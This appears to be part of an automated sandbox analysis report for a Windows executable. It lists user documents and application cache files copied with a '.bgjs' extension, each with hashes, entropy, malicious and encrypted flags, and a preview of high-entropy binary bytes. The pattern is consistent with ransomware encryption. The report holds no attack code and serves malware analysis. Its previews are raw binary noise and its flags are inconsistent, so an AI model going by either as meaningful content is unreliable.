SHA1:	F153490BD385AB5135D5B6FD318E8E245FD02580
SHA-256:	85A395EF147AFBC4827AE05B8619B8A378E726F881B12269550879BEF9D64DAF
SHA-512:	41DE5FD0F4BF9D60730C51FD5D97EB54B91746146241E803B87976CA3955484DAA5337F47AA253E8D33F9BEBDA07B0AE7E59D84BBEEE7E2127F19DDBB651465B
Malicious:	false
Preview:	DVWHK.n..........:..$.....`.T1.$..[8G.....[Z?y$...<vv:..\|=.O.......ZP..6...Q.&P=.s-.......2vK0...v.7....B...?S...C."K.pQI.Q......B...`....2..$.J.5.l..M....[...........k."...<..n!..Ve.......v._yFdq{J...vuV.D..E.d[..>....\..)..o.E.p.T.b....C.\.C.Sc..._..t."8....n....:..p..^36[.t.......)J..#.....G....qirm...4.l7V.i.M...&..-.5#(..t..&.Q.B.s.%....}J.wR@.3m..w.9]?.I<i.^.{.b....H.4u.IA....R......t...oA..@..K....<wP.._LQ.1..ho.....SkU...`...X..0...;e...E.MX........>..k..,..d...$.......~....U&0.Z..+..Y.2H04.ib..C.<d>c.MN...r.7.R#.p4d.:..v.r.\..a.pP~...y.Wn...M...Sl.W.A.W'...Ax..\|...+.:7,S.>j...2.56..$.s.5,..M..rEN.UM..VlA...s.k].:.f~...X...a..I.eHTz`....g...Eb.+..p_..s%{.v7...e...X.Z.:.s0.8.+,.{...F3T.t......k....J.#.Z....U?......o{...t7...".Y.E.;}L.....Z..M...{w.o ..%.W...9Dg........:.n...O.A........\|..1.{!........\|.Z.B.O....&8k..C..4u..l.7........p......yZ+........iN.lCb.=("...@8.b..g..8...D8...V.s....<06.H.m........."]9=..

C:\Users\user\Documents\XZXHAVGRAG\DVWHKMNFNN.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847253977711777
Encrypted:	false
SSDEEP:	24:ajbdg1Gk94xImrkdjXcggjEWp8KpRrmFzdBtQOiMQeu9i5lNfx0F8XmOmtQiH1nX:QZgMxImAeggjEYHpkTiaOKUa4pfPD
MD5:	2956557C64969150B1BB59B9557C10C4
SHA1:	F153490BD385AB5135D5B6FD318E8E245FD02580
SHA-256:	85A395EF147AFBC4827AE05B8619B8A378E726F881B12269550879BEF9D64DAF
SHA-512:	41DE5FD0F4BF9D60730C51FD5D97EB54B91746146241E803B87976CA3955484DAA5337F47AA253E8D33F9BEBDA07B0AE7E59D84BBEEE7E2127F19DDBB651465B
Malicious:	false
Preview:	DVWHK.n..........:..$.....`.T1.$..[8G.....[Z?y$...<vv:..\|=.O.......ZP..6...Q.&P=.s-.......2vK0...v.7....B...?S...C."K.pQI.Q......B...`....2..$.J.5.l..M....[...........k."...<..n!..Ve.......v._yFdq{J...vuV.D..E.d[..>....\..)..o.E.p.T.b....C.\.C.Sc..._..t."8....n....:..p..^36[.t.......)J..#.....G....qirm...4.l7V.i.M...&..-.5#(..t..&.Q.B.s.%....}J.wR@.3m..w.9]?.I<i.^.{.b....H.4u.IA....R......t...oA..@..K....<wP.._LQ.1..ho.....SkU...`...X..0...;e...E.MX........>..k..,..d...$.......~....U&0.Z..+..Y.2H04.ib..C.<d>c.MN...r.7.R#.p4d.:..v.r.\..a.pP~...y.Wn...M...Sl.W.A.W'...Ax..\|...+.:7,S.>j...2.56..$.s.5,..M..rEN.UM..VlA...s.k].:.f~...X...a..I.eHTz`....g...Eb.+..p_..s%{.v7...e...X.Z.:.s0.8.+,.{...F3T.t......k....J.#.Z....U?......o{...t7...".Y.E.;}L.....Z..M...{w.o ..%.W...9Dg........:.n...O.A........\|..1.{!........\|.Z.B.O....&8k..C..4u..l.7........p......yZ+........iN.lCb.=("...@8.b..g..8...D8...V.s....<06.H.m........."]9=..

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846104209632504
Encrypted:	false
SSDEEP:	24:4wEwYE/vQyUfZaZcajUBAkUJF0wbtNnuM+xQbsoAK4JXbD:tY6OfZScbBeF0WtNnuM+SbZAzJrD
MD5:	9767C824969CC25395DAF9D02B107D52
SHA1:	800CA3310D526D67796F22BCA1C7FC3B601ADC1A
SHA-256:	C171EB10ABF647D0B11A567F65417F7AB56BC37AF7CB68F58ADE8B014590E0F9
SHA-512:	31DB7FE9EFCC7D7E473CED7A8B2855D23DA121438D1106A8CE2DE6E2A655AB014E963ACDF81EA309ACD25C66CBD54A26EE7B0CFFDB1785A2D939BF5FF6F2606D
Malicious:	false
Preview:	NWTVC\|......L..$.l....[.....mQ..9sI.,..(....{...`.C..1...x..A.ii.x..3.../.]>I,Z..pY.VW4.a...s@.Et Q.......9.....J.N.#._5.bZ..[.........F1......3.....J..A..\".t>....._......M..s....T<h.w._N.=..>jV.:.d.^..\..~=..O....8..t.C_..,[x.. o.h.S..m.g..$$Zm`...t..vr]..>>Avzq5.t%DZ..{[....}n.q0%...Q..p2#.}.o..`...=._#VC.L..(.abC.E.B..ZO..U..\|ye(0......l.r......S2[.z_.V.'...xp...!.T\|...O..ie.z@?f#.`A.^..........\,w2..e...<..&.G..X[.M.<V\|Q.w{w...[5.....0.Ok.VA./....{l\|.0...a.. ...g;b.;.i.G.\i@l...xA...H..z.....T.'....{/.?..o.+..$.EYI...I.2.9.^:...Y.R.....n2.........M.~.L.........j...T.Z......[3...G.N. Q74oB.{.O....5L{~..w.o....^b~NsD.6..bt.R..{.".J`DXI.#9.n.....2g...[.v....m..+.-R.j.g@/.56..I.....{..U.-.......Zs......T$..3.....}..=Y.h.l..`..~.C.KVO:..(.yL.^.bW^.d.6.N........=..{.+.[.....g.<}'-.[....)..r3.R.\|Z.hQ.U.......th....]sj.e~.a......y...w?w.......k.,..D...k.....<......3....n._.NN...D.G..\-lAI..T7.\|....;..o J.b.......l...a.Q\..7....0....Z..ntX..

C:\Users\user\Documents\XZXHAVGRAG\NWTVCDUMOB.png.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846104209632504
Encrypted:	false
SSDEEP:	24:4wEwYE/vQyUfZaZcajUBAkUJF0wbtNnuM+xQbsoAK4JXbD:tY6OfZScbBeF0WtNnuM+SbZAzJrD
MD5:	9767C824969CC25395DAF9D02B107D52
SHA1:	800CA3310D526D67796F22BCA1C7FC3B601ADC1A
SHA-256:	C171EB10ABF647D0B11A567F65417F7AB56BC37AF7CB68F58ADE8B014590E0F9
SHA-512:	31DB7FE9EFCC7D7E473CED7A8B2855D23DA121438D1106A8CE2DE6E2A655AB014E963ACDF81EA309ACD25C66CBD54A26EE7B0CFFDB1785A2D939BF5FF6F2606D
Malicious:	false
Preview:	NWTVC\|......L..$.l....[.....mQ..9sI.,..(....{...`.C..1...x..A.ii.x..3.../.]>I,Z..pY.VW4.a...s@.Et Q.......9.....J.N.#._5.bZ..[.........F1......3.....J..A..\".t>....._......M..s....T<h.w._N.=..>jV.:.d.^..\..~=..O....8..t.C_..,[x.. o.h.S..m.g..$$Zm`...t..vr]..>>Avzq5.t%DZ..{[....}n.q0%...Q..p2#.}.o..`...=._#VC.L..(.abC.E.B..ZO..U..\|ye(0......l.r......S2[.z_.V.'...xp...!.T\|...O..ie.z@?f#.`A.^..........\,w2..e...<..&.G..X[.M.<V\|Q.w{w...[5.....0.Ok.VA./....{l\|.0...a.. ...g;b.;.i.G.\i@l...xA...H..z.....T.'....{/.?..o.+..$.EYI...I.2.9.^:...Y.R.....n2.........M.~.L.........j...T.Z......[3...G.N. Q74oB.{.O....5L{~..w.o....^b~NsD.6..bt.R..{.".J`DXI.#9.n.....2g...[.v....m..+.-R.j.g@/.56..I.....{..U.-.......Zs......T$..3.....}..=Y.h.l..`..~.C.KVO:..(.yL.^.bW^.d.6.N........=..{.+.[.....g.<}'-.[....)..r3.R.\|Z.hQ.U.......th....]sj.e~.a......y...w?w.......k.,..D...k.....<......3....n._.NN...D.G..\-lAI..T7.\|....;..o J.b.......l...a.Q\..7....0....Z..ntX..

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.875582721861139
Encrypted:	false
SSDEEP:	48:JDpRVM0bf5G8Ns6IXDIwih4axRcGw4utszCvptD:JDRM0Lt+DoSaXI4uWevpV
MD5:	1AEC0EB0FE275C4875EFE9244839AD57
SHA1:	9A995C44DAA9F60CE3DEDE046C754D7251EF9930
SHA-256:	C6DD70708764DF4135E6A5F74927465C4E37F8ACC84F0BF2A192E84EE19AE997
SHA-512:	874D0575A5A946A7E4286E4233A062B211A6F9A2413BDF5B1D9328BA105BEAF433364C23B9BF7D8F0E998901B910E1A7436BBBE59DB46AAE2CB3DE37D7980705
Malicious:	false
Preview:	%!AdoJ.>.B(.ML,K......e...e./:..<..S4H /..LW.CC.~.~3i}B.\NAQe.[.E....3.....\|q..{8.l.L.v.p_J9..:H..6:..jpr.1..?mfc....R%.j..j.t7..6ep.{.....d.k...#...7..]...O...e@[.%d'./<.?B.x...P....Uv.b..E.JK....^..B..q........4.#W...r.%.W..A}w.TV/.!.^.....+4..U:P....\|....)....m.tp]{I..........>.+\|#v...$....X...U.Z..]).....h.....5..b9.U..\..;.....}.,F/..>/...........!?..u.M.8=.gU..ylj.SZ.-.i.`i....'...E...c8..j..x.n.h-.t.P.....>.G.L.h0.m7...o......N..B2..q..". .e.q.UPf....]4.e.m..l..e......U..(......{....Z.j..'..~....y......b.c.'...:.Z@.P... .G...V.I.h1..E.Z]"ZR(.@..W.Y..v.K...m..............l..uX..q.^"}Z...].P........O5...{\|.......T<,..T...".[..#?.\|._.....5Vk...'...kw.A.....m.....0.p..u.....f!..J.U.H.U%..9...Vg.<..4..../u..V...'.3Ei..+K.#..).....F.].YC.....Q..N...z.v........WV.Qd...}. gG.xL.T.8..{..bW.+.=y.s.$..)..y..n.Q.K.Y3.J45.r.;....zT9..0=..c.tf(..t(.Ek.?..y...;z;WH2M..L..K....v...k......:E[\e.8..17bM...jZ....?.p.....0...^.`..g.SZ.

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.878414803637188
Encrypted:	false
SSDEEP:	3072:FyIlPzz4gv8z/zTQXeaeW2DxWc744yNirOTCWXKGm9jt1shXE07ZmandGCyN2mMt:FVz0g0jQX5etDxWcYOmmpkXE07ZmandF
MD5:	4E4F3F2D878997D8A16B760ECFE23102
SHA1:	86DDFB5BAA69C7B6B6CA4BCC8571E3D6CF583A35
SHA-256:	74BB18F39B521125E9DC3BDD2C748DF276A7C7074634C90CAB633574393396A8
SHA-512:	65FF2B06946D2E227785C3CC193601BFDA8AC10D9D76093D6AEC4CDB0AF83214D700EC5C6FD64ED50615B6CF263E1112CF68AAB09C7201A42056DE01ECB7D9C9
Malicious:	false
Preview:	%!Ado..c. '.].N&...K......c.(Mx.._q..%.R.)....(-.bmC0........1I/w...u......0.v.H......K.............E0...23...k......t8).6..=c.e.L...!.1.b......N=..r\..W$....p..9......;..og..X..t.V..JdOU...~..C..=1....&.&..@.......k,.....7.`.'........P.m.....A/.+..h.l.'.sR....8t...Jj.T.bR.M.k.+...#k....4B..F....i0.....4.7u:[r.#.\|a.f.s..`\|..+F.mw.x..Qm...O.fV..C.l..&..Z..R..31..i.l..!.~...,...aHV....qK......?..=gM*/9.......d...(N.,"=.........^.d.~.bs.j.......]....4.2z.2.9..3MD....x.v..j....F/......]....Zmy......k..._y>U..3.......6.\|.S>%....O.....vA.3b.......$k(...W...$.tti..8.......,>.[reM.{..?/J.f.jfz.mG..x...?;;.d.......c...r.9X.M.<........)G._..Zo...Bk.N.F8K...&x'.......o.....4.X-......o.o......o.]......I.T....!..r....2.`v7.....L..YI.IhK.....\|..l+r............... ..yC...ji......I.ZtrK..Z.6\....S"f.{b...p0...40.8PB!..~Z.zq......u'~o#.G.m9.m...Q...!x.Z..T2}.M....~.]..Sn..e.f,5...}.<.y.&.d....K,.g};K...Ko........Q.+.Et.....Q..W.........w.=.A=....H..

C:\Users\user\Local Settings\Adobe\Acrobat\DC\IconCacheAcro65536.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.818528812799042
Encrypted:	false
SSDEEP:	3072:a8S61FnoM/LSqgI/CjGAF+tQz+//WFTyiriIODbI/Ytdd1kZOolNlnP:arybSqNCBFrz+/EOnt4pnP
MD5:	CCE4FF56CC0D8D59F7B66EB5FF920843
SHA1:	F274066AEBDF169884E148CD7C4C761EEA1E0477
SHA-256:	9CB00119A3600FDDBFD694C4C1F8026F3A706EC0E559DD3DE42A46A6E0556C7D
SHA-512:	6F08CE235626A3723962129663FEC82CD3A42529ACB551FEB87F12C26BFE5A01EE2FFA93BF04E829761D0AB9A7C94A2FED6D243C147369728451477CE6A9C6B5
Malicious:	false
Preview:	Adobe...I.....b.J.D.X.`6..c......b..I.....r..r....bk..4.-. ..t.p{./l.D.\|......(.......1i.u........Y....s^.i....5.-,M.!ELb.......B4..O.[..ir...~....Y.......t..M....[.O.C...-..Q..-....W.....+).(4..L..C.9f.!~.....Du..s4....a...}BCy.P.A....V.mO._.JJ....OtJ..@.....C.. rb.x'..6..A..0.q..t.I.G\|:...2..v...-....Q..}T~.vdA.....y.d.)5t.W.2..=...p..!...SH.....p. ..@\.....G.jW.2.P....78........?...{..uv.GK.F.../......nu.W8....3uW..m...?q.5%2b...\S.^.M............e....` t....y].d.O"...'..2........o...i..j.t...h"...b..i..1`..H....+....../.t.......@.6....~......~....a...Y......q.... .\&.$.8B7t..L.ah.....y....40.%.$....M.d:.vj.\|..=.. .6...Q.@...G.....#.`..BI..b..^...t...(...]AW.\|..[".j.<.4..@.....v..p{o........n.......?._..>.L...!.7.mC.-?..#}XF/...@qH..F...#/..hJ9...\/.._V.*O.....bJ... +.j..vM.%&..9.a..M........+s...t.~;....q..Z...8...='<$../L...`...+..b.q.=..,...7.-.....B.'..lQ...R>...,n.9V.I.5<.4T...I......e5.,..:.[J=.....#.%&.#P..x7(..N.."I>O.ic.p...

C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997325150149192
Encrypted:	true
SSDEEP:	1536:YPhBTRFeiaBHYNb5MQfRpyuPIG5IfqEUnWbC14:Y59RpaJg5ENsIfLEP4
MD5:	484048E336C858D81B82887A53265320
SHA1:	ABCE4B56CA12BC8B135C479B3CCC62FBC7570A5E
SHA-256:	3CD503A7E458901CE1870906A687D1069CE89C255AA108BA7A41D337D3D7AB65
SHA-512:	2121F500E75E9E0E267F7E4770D472360F5DB0031BE63B6DABD7D0CD5FB08C4D6137BBCD7E19D030E7950FA7B564024CBC942DCE3263D6550DB81D2F9DF3738D
Malicious:	true
Preview:	4.397?..p.?.".}..k....?...\.d.....7D.N..%...........cG...]j.?.aO......... n>iR...<...E...%.-i.i...L.\|.P....,....F....5[....ap.i.z.V.SB<..}\.I..(......Mf.o.).9.Q..^gv..:1X$.J..2.....gV..J....}...,.......<..J"W@..#_....].'.C..Iz...].B..C]..?......t.....L4.x...LN....?.K.X....-...g..z..M.W.....".+..i6.I9..".p..F1...$.9..T....M3./.....md.m.'5.....H..O....t.q...:.;._C#.(..L...x$./....k..\...)U.9TN.X.1.33..7!..dzk....q.K.fasY.,..D....nt.A+..,]=.`z.h..&....k.E.t...A...}t.)7..@;.t.r.@.`.h......N........t..Ha.3..Dn.t}....P...../e2y.O.$..S........".Z ...V...l..5.3}.....3.<.9........R.I..^......d..m..:Z....x...x..o!..;/.4..K...MG...T..n.4......m..S+.H._....).A....i....A.2.x.&.....Rf;sa...@,..GR.#.i.@R....t....1......f....H...u...#../^ 3....k....[.c..b.w.3...-F...i....@A...I....Y..Z.,..Nx.o>.........Fr.a.X..=8....tW...@<..^9.mx>.'9.J... n./zf$...sh.Q..ZC.a...pn7&.k..Vs>P..q;Ipno&.;...."+.O.i..:...._:_3r...n...%..@.t. ....z@.P^...p.Gb...C.z

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996533235882453
Encrypted:	true
SSDEEP:	1536:pQ6lmhA/yPhU+O/p3zhCEO75b2n1WIoZu0qH:prpysCEOhmrCub
MD5:	93E74589FA656079D49B75CDE65A6A37
SHA1:	358C8BFE71FB36F6F2CCE4273B47F5DC001DD008
SHA-256:	211CC1BABA63E8040435DB5917C97E824652B4F143C5EF092F5777DD8C59787A
SHA-512:	B5CCC8301AD0511AF8218BA20F7A6B0C535295278D3B132F6E92F5782DD0DC3403E83335E604FD8CF05F282809A3DE075AE97981394687AEE93BEC7646A534EF
Malicious:	true
Preview:	SQLit!. .?$... .Uq...M..p%.S.J.....c=.^.....j._:m{g.K...2.......nV.../.w.....L.V......X.c..{ b2`qf......>..=:....^?.Y.m+(.P.(..f?o.o.L[#.G...h...=B.....7fPtd1e...>..U..j....P.....7.c1..;....i.YU..`./.o..L..9.'....~?...B....S.iw'...O].K...B7-.C;.....Tt;.2s.......P(K...On.!.....1.MF....V!]E......&....V...Y.9...~.p.3.@b}E`.w..-W.`...[8T2......N8....uf.5..A../....=$.!@.sI.r2...1..Z.H.y.}...G..c..."....f..U...n=.......KJ....+R.......ul7A#....R.7.3...^x..AM...kY...b..$.........Sb..B.yWVp..o...c.T..K/.cfQ..M.4.........1.8NX8.a..)A}.mC=..67e(.u<....wem..}.oI.;....E.....FO........t.....7p...E.$n...?..pI.Sv...Y..Ag.o.2$...d.......KY$.O..=L.....MNQ..f\|(.\|........ACh".y...}d..:O....4....._......`@..g.....o.C.Tc.P\.0\|.(........`../.5.Y.........kj..&6..p..K.Z.......>;.+..\|. .F$h..>..._i.....%k!.T.n.)....Bp...PV......@H!..'.%...:..,<........YFj.-..]...g...A.........\.S...\o......fF......XZ......i,.s.../\|;n/..L<j...^...H1.).a.#Td#..l..hY...U[....m.h...{}

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.242771017909748
Encrypted:	false
SSDEEP:	6:QBsikulAC6WC91uyv4DG5UCQTsXFCnVkx0lU7BIh6Ep1couHWyc3cii96Z:QBVlUEupMPVTliBIhFpmdH1+cii9a
MD5:	63ED02CB17AB803E325A90A98A1B4294
SHA1:	66E5EC24396816789039C58ED50A89F7A68ABFE4
SHA-256:	477A7B1BA8839BAEF6F769222DD66FCB6017356DDAA5E10280466ABB26CE6F08
SHA-512:	C594B8FB73E69D292E39481069D076E485C00E28DD904FA0BDB8E1D7D56D9BF2964CA58601C3B6F8AC548E3D1D0DAF83C5852CFBC0EC0F91AABE08DA87DA7430
Malicious:	false
Preview:	1,"fu.lt.u.. O!...[%Dw..9..i..@Y..6..0.c>X..(l.D.8.a......m.1R...$B...)..x.g..[.ryU!.H_.UMK.m..H.m.(.^.c=.I.;b..5zJ5.....w..k.s.M.[.Z.... 7....2.]{,......[.MH..BA..!#...p5Sm....[..k.c.....>...i.I...pu^...#..8_.XC..Mg.^BEk....S...b...].c...l>Q.$..{..cs<.j..eR@....h'.....<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.828407169708497
Encrypted:	false
SSDEEP:	24:zkRiuKeWHoUpqkug2peCctDHFGlSXrQqpUSa+8unOJmzK7bD:63KWUpqkn2peCcmQXEzIOJmW/D
MD5:	C0C9A9F523588C9A42B704C11A1EECD5
SHA1:	9165235CD0E3848A737F249986B00D43CF280B9E
SHA-256:	663AFDBF5D83E869ED3249BDE2DBB39CC6E8380232C4199E5CA3643FCA9D3230
SHA-512:	394EBDD465F29EC32BCEDF45B083D59B0B8767507C5F2A6C1D21216EE251E8EB091C0F0AC651A7128810CD20631FEE74A8219DC6BEC6B625AF03A84098216B89
Malicious:	false
Preview:	1,"fuXI.....:..=..a.......m..x...+.?...X6.....p.dk.M.P..t^.H......!q.hPe+..ap E.....4.).A......ZF..zV...9.@..X.J.E.$.7.....9..b>.w7....o.....x...V,t.a..:..2..S....9e..!9QQ...].D........9....[<U-.I.}.^..3.......l.vG....Q:e..x.....8.J..oX4.....M...h...4.5.}.Tk.?7.D...........}).y+........f.x5W..p.o.`..M..k.`..,.D..O.T"s5..%.FP......w}o..P..$.$..h7G.B..(..A.'.$=r. .-H.-...e....'..].V........&!.@.-....o.T.gi.....%c/.....@.?..T....&o*.#...Da...?m.j...%.E<E.....I]..-jY.V...u`.U. .s...]...,sP.&..Y.f.k.?...3...e..V..<cp.......E.3x/..4.!R.W.}.k..}O.sK}.7N..kD..YJ..O.j:.3.v.>....XN5.=..8jd2..!.b...u5.w...V.r(,...C.T.<....,.:.?.#3.lM)}J.j....m..^..E..!@@....g). $..)\D@t8).+Q.......;^3'(../.%R..2.}>3(.N..?..0.T... ...V...'....{ga\|AX.......6...4..h[2.i{........$(9.S..]=~._...=.@OG...v.:.P:...q.Z..~...Y;.u..u.H`..C.2G.{Jl....lX.D...2....S.[;.=Ye..hT..\|\.!\.g..r.,..w...F.s.59...TE..,.T=B)=3F.%.o.v.1.....i.K8..O..{......... J#d+\..!j.DS.A...s&.....4..z

C:\Users\user\Local Settings\Microsoft\Edge\User Data\CrashpadMetrics-active.pma.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988175521408359
Encrypted:	false
SSDEEP:	384:eFsgpn8I/UvWDaT/FESiTNXGDV2KqAkTH9G7QXSy:osgpn5/Uvxzi5Xi0w7QXz
MD5:	F0C62D9961BFD1DB6FA2CB3D2F87C233
SHA1:	657B6F991C707513100242CE8B4BEBEBE3AECD09
SHA-256:	516CD7019CBE41F70DBE461432BCC792B6B73FD30D9F5F679944C5523EA580F2
SHA-512:	7C6500F8A35EFA6595C6CF678FBC1BC56742BFEB6C5AA585AA33408E87C4192BBDAD3CF64A8B844DE0BF2044C3F6C0DCF64AAB6252D6F390B353116F003D61B2
Malicious:	false
Preview:	...@.9,Y.. e\....a..)%K.k...7....zn...Ha.S.._.......{2.l....aV....0.:'.>>..U(....m..^..~...ma3.IY.L......X2OC.N:.A.U.C7%...li.#....._../.... ..!..~.-a.e8..5.S..].g...!.....-.....Cu...Z".i./.....V........C.o@<{R8.4......[A.K+..:......=..=.Ua&..N.f.H.`=......+8~d..z.r...7N.^...bz.....F.....,...=.}.K..2.k...........y...)l\.R2..0....OL.Cv......m[R.9......X..'.8...,$/E!...5iP....(..{.)d.%.....+..q`u^u...L .5}%.Z.ee3".../........u...,.Q.x...+.'...g..S!.....Z..,p..P...-/m.f.a9....?...w.*F....6.X.k....h.Z5%.:.{..i.f.e."......}........N.P..G...s.Q..C........O.[h.....!..S!.T..1..hcTw.Y........>.W.2...q..k...M..f..J?.....f.....7..JHM.g........t..(. .Q.9....>..6Q^.V..0+.\|.f.R$..5.`;ii$.........^.P.]iV}OO.l..Vma....0.sE...v.4l..&IK..gF.<...42JNi..H{3...ms.J...T...r..V.p...=.E.4.C[.4..%..?}oU.......p.....`0..r.....[.<m9Q.+..RX.._wb.9.....!.N..q?z..l4.....~.r.&.x..pa..S...a.m.0..nC.n.. o+{XK...y.....Q...q$..eQ..7.b2.pH..h..y...d....../J.../Q1..

C:\Users\user\Local Settings\Microsoft\FontCache\3\ListAll.Json.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.9780577886484565
Encrypted:	false
SSDEEP:	3072:e/dVVZb7JFJfSQ7YWb7QLt92XSDJQyQdOgAvd69STpMLiW8BK:e117JFJfSOXSDJ82deSTpPW8BK
MD5:	F9F6FD2BAA832ABD48EE98400C1D00BA
SHA1:	3CD23592A254D58284448D562451DBA8545124E6
SHA-256:	AFFBF8E11A80176F1713EDA1A7DEFCE1A9F783240773AEB125B62A9F351D8100
SHA-512:	938FDAA4EDFB2648E06C715B6E43EF9A53A203926D0247E68D576276236D32C0001F186F1E577D44314916E1ECE1B41BDEF778D9AB83E814F31B60FDAB8315E6
Malicious:	false
Preview:	{"Maj.kIpB.3............\|..).5G....f.. Lb...9...=?X..?..^YR...~......r. Ym&.@T....f.pM...g.....z..w.6.\|...Z.`D....1....A.2,..9T.>.WSN..\|.X.O.0..].Uf\d....jM?.x.C..8.7.......X....[nhR..5...V...u4WtB.+..L.o...7...'..Y5..hsN+1A^.P...?9"..$...z.bQ].\..X....U..fa.....D.E....`...MZ;..miJ.a~z.........4.+.\|...H.>>#......t..A...=.&.B...#.s$..VP.X.7..U.L!......8......t....V..0.:.h4......]...bV...'..m......l>..i.G...+....LZs.)..z........\..L.M.........J..,.. Mf..r.JA....J-...C.\|...n'......n..'._.T...:...}.."..../..w..vZ.~.5.<.@.....1..9...uY.j.S.....<..R..[.w..L.....9C..........#j.@2..L.BS.=Df..Z.......H....Af.dkOJ.@..:...A.c.l..."......=.....Aj.3..F...R.o..R. . ...&...I.5..`.\|.3..%.R.G=....!...Q&.....;..A..s............r.1..\a..8:t....=9.q=.F2.x......19.x..q...A.CXtK.9w..@..+.cQC..[.k.....G.I`...K..B....z-....h.8q.W.bU"a.[.'2....X.y2W..........p.qR.1..#.../R9.V.k..:..e`...c.zq...E...h.g.Tl..g..np9^q..G....F)H...<.Y.Qkg..... ./C....

C:\Users\user\Local Settings\Microsoft\FontCache\4\CatalogCacheMetaData.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.9030639299490835
Encrypted:	false
SSDEEP:	48:eu90EtNQ3Q5KKxIr+/FdbM0V+ntP6cG/xhYuB74DlQpA5/ykBD:eQRc3zKeEnM0MP61peul4+pwXp
MD5:	BE196A50BC5DDA09DA4152F340CDE537
SHA1:	09ABE44A23724717452A1E10EBCC7BF1A930F9C7
SHA-256:	DC109C3A656C079289E471D1BCE87097413661E38407A4104B8342448A676684
SHA-512:	4C25096AAA6F55151F03256B29F5968E5A861D4F4B44DDD25AED30F5B9B0AC9E4BD57FED714789F43F773D25544CEF6878D9B82E780ECFA7122AEA00EBAF9D85
Malicious:	false
Preview:	<?xml...^.s.4.......2F....W...F8?+..3.Q.%.x..r...Y.E.\..j........h.S.k8..Job.t...4.:F6\|..._1........M.A.M...fl.F@...[dk..j....q..L$..fw...b1.....;j.T.B....."H.......b..ld....S.N.E .w.n.~...E.....v..........Y....Cw.....O.....I..`ff.P.Uf.<J.4.._d...m.x......-E...~{..Q..NU.I.(...d..#2&..Yl.{..k......1Yr..F.....f.k#4...M.i7...5..E....L.......O......'J.>.....v]...uL.KE.[Q....d..Rp.Zh.t8....f`I...B/.v.gJXW.xX).t......h5N}&..k..;B..1Q.; ...Q....:h..3.$..Z......n.(H..mcJ .Y...!h F...Af..-.%...........f...^N....1\|%..{0).2.tO.D..)\c.f..z.P...D..@+.....".Y5}Rj.u%.,....&.w..m[enJGlz.QO.Hf....6..1R......._.....m...kl).[.4.X9.1..T...ED.....1V5?+..C...b...F...M".q...B.j..B...IZVx..?.`..0.....?....;..}#..D.Vs_Q......R@....9......#.B%.s....x.:..@.r..... ......U......o.b../...&1..f..)...}....t...yO.5.J..:.0.h2.iD.. .......Y:m..e.V.qz....U..(_."#..fM.....B.s....Y.I.gA.\|yKm$...^I......SLm..{ClQ1.........~+...lr..s...X....Y..%..>.E..#.:....}../..M.W."=t .....

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979759016074543
Encrypted:	false
SSDEEP:	192:MEStOnLdZT4BoQl1h49pUv5fkymZgxwe1PHvGaEZ4VvfB9tR:MESepZ/Ql1hkm58ymZspHem5tR
MD5:	393255019E970EA35D2C8B284CD5FF7F
SHA1:	F07B013D9F5CC6535FBD2D0EB51215FF914D355E
SHA-256:	A5548F7EB60ACF89B613919102AE3F86A9EB30290A9C6D3B0B2CC0B138FAA1DE
SHA-512:	C0533BA0AF1B20EAC87212FEB3C383FDFC5DAA2FEE8ECDC466299CE1E969A3D9E3F10998FD1F3FE62E2D8003D29FA39BE72E617974583EF88F7EF4D42D6266F7
Malicious:	false
